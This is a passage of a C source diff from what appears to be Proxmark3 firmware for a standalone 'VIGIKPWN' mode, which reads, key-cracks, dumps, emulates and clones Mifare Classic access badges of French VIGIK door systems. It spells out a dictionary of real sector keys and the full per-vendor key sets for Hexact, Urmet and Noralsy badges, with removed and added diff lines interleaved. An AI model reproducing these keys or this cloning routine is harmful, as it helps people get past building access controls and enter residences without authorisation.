||||
// lastag will only contain filename/path to last written tag file so we don't loose time or space.
|
||||
rdv40_spiffs_make_symlink((char *)dest, (char *)HFCOLIN_LASTTAG_SYMLINK, RDV40_SPIFFS_SAFETY_SAFE);
|
||||
|
||||
uint32_t start_time = GetTickCount();
|
||||
uint32_t delta_time = 0;
|
||||
|
||||
while (bytes_remaining > 0) {
|
||||
Flash_CheckBusy(BUSY_TIMEOUT);
|
||||
Flash_WriteEnable();
|
||||
|
||||
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
|
||||
|
||||
memcpy(buff, data + bytes_sent, bytes_in_packet);
|
||||
|
||||
bytes_remaining -= bytes_in_packet;
|
||||
uint16_t res = Flash_WriteDataCont(bytes_sent + (index * size), buff, bytes_in_packet);
|
||||
bytes_sent += bytes_in_packet;
|
||||
|
||||
uint8_t isok = (res == bytes_in_packet) ? 1 : 0;
|
||||
|
||||
if (!isok) {
|
||||
DbprintfEx(FLAG_NEWLINE, "FlashMem write FAILEd [offset %u]", bytes_sent);
|
||||
cjSetCursLeft();
|
||||
SpinOff(100);
|
||||
return;
|
||||
}
|
||||
|
||||
LED_A_INV();
|
||||
LED_B_INV();
|
||||
LED_C_INV();
|
||||
LED_D_INV();
|
||||
}
|
||||
delta_time = GetTickCountDelta(start_time);
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH ! [0-to offset %u]", bytes_sent);
|
||||
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH !");
|
||||
cjSetCursLeft();
|
||||
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_WRITE", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
FlashStop();
|
||||
SpinOff(0);
|
||||
return;
|
||||
}
|
||||
|
||||
void ModInfo(void) {
|
||||
DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)");
|
||||
}
|
||||
void ModInfo(void) { DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); }
|
||||
|
||||
void RunMod() {
|
||||
StandAloneMode();
|
||||
|
||||
// add_schema(Schemas, Noralsy, &total_schemas);
|
||||
// add_schema(Schemas, InfiHexact, &total_schemas);
|
||||
// add_schema_from_json_in_spiffs((char *)HFCOLIN_URMETCAPTIVE_JSON);
|
||||
// add_schema(Schemas, UrmetCaptive, &total_schemas);
|
||||
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
|
||||
|
||||
currline = 20;
|
||||
|
@ -210,7 +347,7 @@ void RunMod() {
|
|||
memset(cjuid, 0, sizeof(cjuid));
|
||||
cjcuid = 0;
|
||||
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE);
|
||||
uint64_t key64; // Defines current key
|
||||
uint64_t key64; // Defines current key
|
||||
uint8_t *keyBlock; // Where the keys will be held in memory.
|
||||
|
||||
/* VIGIK EXPIRED DUMP FOR STUDY
|
||||
|
@ -249,15 +386,13 @@ void RunMod() {
|
|||
ACCBITS : 796788[00]+VALUE
|
||||
*/
|
||||
|
||||
//----------------------------
|
||||
// Set of keys to be used.
|
||||
// This should cover ~98% of
|
||||
// French VIGIK system @2017
|
||||
//----------------------------
|
||||
//----------------------------
|
||||
// Set of keys to be used.
|
||||
// This should cover ~98% of
|
||||
// French VIGIK system @2017
|
||||
//----------------------------
|
||||
|
||||
#define STKEYS 37
|
||||
|
||||
const uint64_t mfKeys[STKEYS] = {
|
||||
const uint64_t mfKeys[] = {
|
||||
0xffffffffffff, // TRANSPORTS
|
||||
0x000000000000, // Blankkey
|
||||
0x484558414354, // INFINEONON A / 0F SEC B / INTRATONE / HEXACT...
|
||||
|
@ -298,8 +433,8 @@ void RunMod() {
|
|||
};
|
||||
|
||||
// Can remember something like that in case of Bigbuf
|
||||
keyBlock = BigBuf_malloc(STKEYS * 6);
|
||||
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
|
||||
keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6);
|
||||
int mfKeysCnt = ARRAYLEN(mfKeys);
|
||||
|
||||
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
|
||||
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
|
||||
|
@ -338,6 +473,8 @@ void RunMod() {
|
|||
currfline = 24;
|
||||
cjSetCursLeft();
|
||||
|
||||
add_schemas_from_json_in_spiffs((char *)HFCOLIN_SCHEMAS_JSON);
|
||||
|
||||
failtag:
|
||||
|
||||
vtsend_cursor_position_save(NULL);
|
||||
|
@ -350,7 +487,7 @@ failtag:
|
|||
SpinOff(50);
|
||||
LED_A_ON();
|
||||
uint8_t ticker = 0;
|
||||
//while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true))
|
||||
// while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true))
|
||||
while (!iso14443a_select_card(cjuid, &p_card, &cjcuid, true, 0, true)) {
|
||||
WDT_HIT();
|
||||
|
||||
|
@ -381,7 +518,7 @@ failtag:
|
|||
if (cjcuid == 0) {
|
||||
cjSetCursLeft();
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>%s BUG: 0000_CJCUID! Retrying...", _XRED_, _XWHITE_);
|
||||
SpinErr(0, 100, 8);
|
||||
SpinErr(LED_A, 100, 8);
|
||||
goto failtag;
|
||||
}
|
||||
|
||||
|
@ -424,7 +561,7 @@ failtag:
|
|||
//-----------------------------------------------------------------------------
|
||||
// also we could avoid first UID check for every block
|
||||
|
||||
// then let’s expose this “optimal case” of “well known vigik schemes” :
|
||||
// then let's expose this optimal case of well known vigik schemes :
|
||||
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
|
||||
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
|
||||
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
|
||||
|
@ -432,8 +569,8 @@ failtag:
|
|||
if (key == -1) {
|
||||
err = 1;
|
||||
allKeysFound = false;
|
||||
// used in “portable” imlementation on microcontroller: it reports back the fail and open the standalone lock
|
||||
// reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||||
// used in portable imlementation on microcontroller: it reports back the fail and open the
|
||||
// standalone lock reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
|
||||
break;
|
||||
} else if (key == -2) {
|
||||
err = 1; // Can't select card.
|
||||
|
@ -448,10 +585,10 @@ failtag:
|
|||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
|
||||
/*reply_old(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
|
||||
switch (key64) {
|
||||
/////////////////////////////////////////////////////////
|
||||
// COMMON SCHEME 1 : INFINITRON/HEXACT
|
||||
case 0x484558414354:
|
||||
|
||||
for (int i = 0; i < total_schemas; i++) {
|
||||
if (key64 == Schemas[i].trigger) {
|
||||
|
||||
cjSetCursLeft();
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
@ -459,232 +596,36 @@ failtag:
|
|||
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
|
||||
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s %s%s", _XORANGE_, _XCYAN_, Schemas[i].name, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
|
||||
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_,
|
||||
_XYELLOW_, _XGREEN_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
|
||||
;
|
||||
// Type 0 / A first
|
||||
|
||||
uint16_t t = 0;
|
||||
for (uint16_t s = 0; s < sectorsCnt; s++) {
|
||||
num_to_bytes(0x484558414354, 6, foundKey[t][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], foundKey[t][s][2],
|
||||
foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
|
||||
num_to_bytes(Schemas[i].keysA[s], 6, foundKey[t][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
|
||||
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
|
||||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
|
||||
}
|
||||
t = 1;
|
||||
uint16_t sectorNo = 0;
|
||||
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 1;
|
||||
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 2;
|
||||
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 3;
|
||||
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 4;
|
||||
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 5;
|
||||
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 6;
|
||||
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 7;
|
||||
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 8;
|
||||
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 9;
|
||||
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 10;
|
||||
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 11;
|
||||
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 12;
|
||||
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 13;
|
||||
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 14;
|
||||
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
sectorNo = 15;
|
||||
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
|
||||
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
|
||||
cjSetCursRight();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
|
||||
trapped = 1;
|
||||
break;
|
||||
////////////////END OF SCHEME 1//////////////////////////////
|
||||
|
||||
///////////////////////////////////////
|
||||
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
|
||||
case 0x8829da9daf76:
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
// emlClearMem();
|
||||
// A very weak one...
|
||||
for (uint16_t i = 0; i < 2; i++) {
|
||||
for (uint16_t s = 0; s < sectorsCnt; s++) {
|
||||
num_to_bytes(key64, 6, foundKey[i][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
|
||||
foundKey[i][s][0],
|
||||
foundKey[i][s][1],
|
||||
foundKey[i][s][2],
|
||||
foundKey[i][s][3],
|
||||
foundKey[i][s][4],
|
||||
foundKey[i][s][5]
|
||||
);
|
||||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, i);
|
||||
}
|
||||
}
|
||||
trapped = 1;
|
||||
break;
|
||||
////////////////END OF SCHEME 2//////////////////////////////
|
||||
|
||||
///////////////////////////////////////
|
||||
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
|
||||
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
|
||||
case 0x424c41524f4e:
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s Detected :%sNORALSY_VIGIK_TAG %s", _XORANGE_, _XCYAN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
|
||||
|
||||
t = 0;
|
||||
for (uint16_t s = 0; s < sectorsCnt; s++) {
|
||||
num_to_bytes(0x414c41524f4e, 6, foundKey[t][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
|
||||
foundKey[t][s][0],
|
||||
foundKey[t][s][1],
|
||||
foundKey[t][s][2],
|
||||
foundKey[t][s][3],
|
||||
foundKey[t][s][4],
|
||||
foundKey[t][s][5]);
|
||||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
|
||||
}
|
||||
|
||||
t = 1;
|
||||
for (uint16_t s = 0; s < sectorsCnt; s++) {
|
||||
num_to_bytes(0x424c41524f4e, 6, foundKey[t][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
|
||||
foundKey[t][s][0],
|
||||
foundKey[t][s][1],
|
||||
foundKey[t][s][2],
|
||||
foundKey[t][s][3],
|
||||
foundKey[t][s][4],
|
||||
foundKey[t][s][5]);
|
||||
num_to_bytes(Schemas[i].keysB[s], 6, foundKey[t][s]);
|
||||
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
|
||||
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
|
||||
cjSetCursRight();
|
||||
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
|
||||
}
|
||||
trapped = 1;
|
||||
break;
|
||||
////////////////END OF SCHEME 3//////////////////////////////
|
||||
}
|
||||
}
|
||||
|
||||
/* etc etc for testing schemes quick schemes */
|
||||
}
|
||||
}
|
||||
|
@ -695,7 +636,7 @@ failtag:
|
|||
cjTabulize();
|
||||
DbprintfEx(FLAG_NEWLINE, "%s[ FAIL ]%s\r\n->did not found all the keys :'(", _XRED_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
SpinErr(1, 100, 8);
|
||||
SpinErr(LED_B, 100, 8);
|
||||
SpinOff(100);
|
||||
return;
|
||||
}
|
||||
|
@ -731,7 +672,7 @@ failtag:
|
|||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "FATAL:EML_FALLBACKFILL_B");
|
||||
SpinErr(2, 100, 8);
|
||||
SpinErr(LED_C, 100, 8);
|
||||
SpinOff(100);
|
||||
return;
|
||||
}
|
||||
|
@ -740,7 +681,8 @@ failtag:
|
|||
delta_time = GetTickCountDelta(start_time);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
|
||||
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time,
|
||||
_XWHITE_);
|
||||
|
||||
vtsend_cursor_position_save(NULL);
|
||||
vtsend_set_attribute(NULL, 1);
|
||||
|
@ -750,10 +692,9 @@ failtag:
|
|||
cjSetCursLeft();
|
||||
cjSetCursLeft();
|
||||
|
||||
WriteTagToFlash(0, 1024);
|
||||
WriteTagToFlash(cjcuid, 1024);
|
||||
|
||||
readysim:
|
||||
// SIM ?
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "-> We launch Emulation ->");
|
||||
|
@ -762,8 +703,9 @@ readysim:
|
|||
DbprintfEx(FLAG_NEWLINE, "%s!> HOLD ON : %s When you'll click, simm will stop", _XRED_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
|
||||
DbprintfEx(FLAG_NEWLINE, "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_, _XWHITE_, _XYELLOW_, _XWHITE_,
|
||||
_XCYAN_, _XWHITE_);
|
||||
DbprintfEx(FLAG_NEWLINE,
|
||||
"Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_,
|
||||
_XWHITE_, _XYELLOW_, _XWHITE_, _XCYAN_, _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
cjSetCursLeft();
|
||||
|
||||
|
@ -775,19 +717,39 @@ readysim:
|
|||
SpinOff(100);
|
||||
LED_C_ON();
|
||||
|
||||
uint16_t flags;
|
||||
switch (p_card.uidlen) {
|
||||
DBGLEVEL = DBG_NONE;
|
||||
|
||||
//uint16_t flags=0;
|
||||
/*switch (p_card.uidlen) {
|
||||
case 10:
|
||||
flags = FLAG_10B_UID_IN_DATA;
|
||||
break;
|
||||
case 7:
|
||||
flags = FLAG_7B_UID_IN_DATA;
|
||||
break;
|
||||
default:
|
||||
case 4:
|
||||
flags = FLAG_4B_UID_IN_DATA;
|
||||
break;
|
||||
}
|
||||
Mifare1ksim(flags | FLAG_MF_1K, 0, cjuid);
|
||||
default:
|
||||
flags = FLAG_UID_IN_EMUL;
|
||||
break;
|
||||
}*/
|
||||
|
||||
// Use UID, SAK, ATQA from EMUL, if uid not defined
|
||||
// if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
|
||||
//flags |= FLAG_UID_IN_EMUL;
|
||||
//}
|
||||
//flags |= FLAG_MF_1K;
|
||||
//if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
|
||||
// flags |= FLAG_UID_IN_EMUL;
|
||||
//}
|
||||
//flags = 0x10;
|
||||
uint16_t flags = 0;
|
||||
flags = 16;
|
||||
DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags);
|
||||
cjSetCursLeft();
|
||||
SpinOff(1000);
|
||||
Mifare1ksim(flags, 0, cjuid, 0, 0);
|
||||
LED_C_OFF();
|
||||
SpinOff(50);
|
||||
vtsend_cursor_position_restore(NULL);
|
||||
|
@ -816,7 +778,7 @@ readysim:
|
|||
DbprintfEx(FLAG_NEWLINE, "- [ LA FIN ] -\r\n%s`-> You can take shell back :) ...", _XWHITE_);
|
||||
cjSetCursLeft();
|
||||
vtsend_set_attribute(NULL, 0);
|
||||
SpinErr(3, 100, 16);
|
||||
SpinErr(LED_D, 100, 16);
|
||||
SpinDown(75);
|
||||
SpinOff(100);
|
||||
return;
|
||||
|
@ -895,16 +857,17 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
|
|||
DbprintfEx(FLAG_NEWLINE, "Halt error");
|
||||
};
|
||||
|
||||
crypto1_destroy(pcs);
|
||||
crypto1_deinit(pcs);
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
|
||||
return (isOK) ? PM3_SUCCESS : PM3_EUNDEF;
|
||||
}
|
||||
|
||||
/* the chk function is a piwi’ed(tm) check that will try all keys for
|
||||
/* the chk function is a piwi'ed(tm) check that will try all keys for
|
||||
a particular sector. also no tracing no dbg */
|
||||
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
|
||||
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain,
|
||||
uint64_t *key) {
|
||||
DBGLEVEL = DBG_NONE;
|
||||
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
|
||||
set_tracing(false);
|
||||
|
@ -931,12 +894,12 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
|
|||
SpinDelayUs(AUTHENTICATION_TIMEOUT);
|
||||
continue;
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
crypto1_deinit(pcs);
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
*key = ui64Key;
|
||||
return i;
|
||||
}
|
||||
crypto1_destroy(pcs);
|
||||
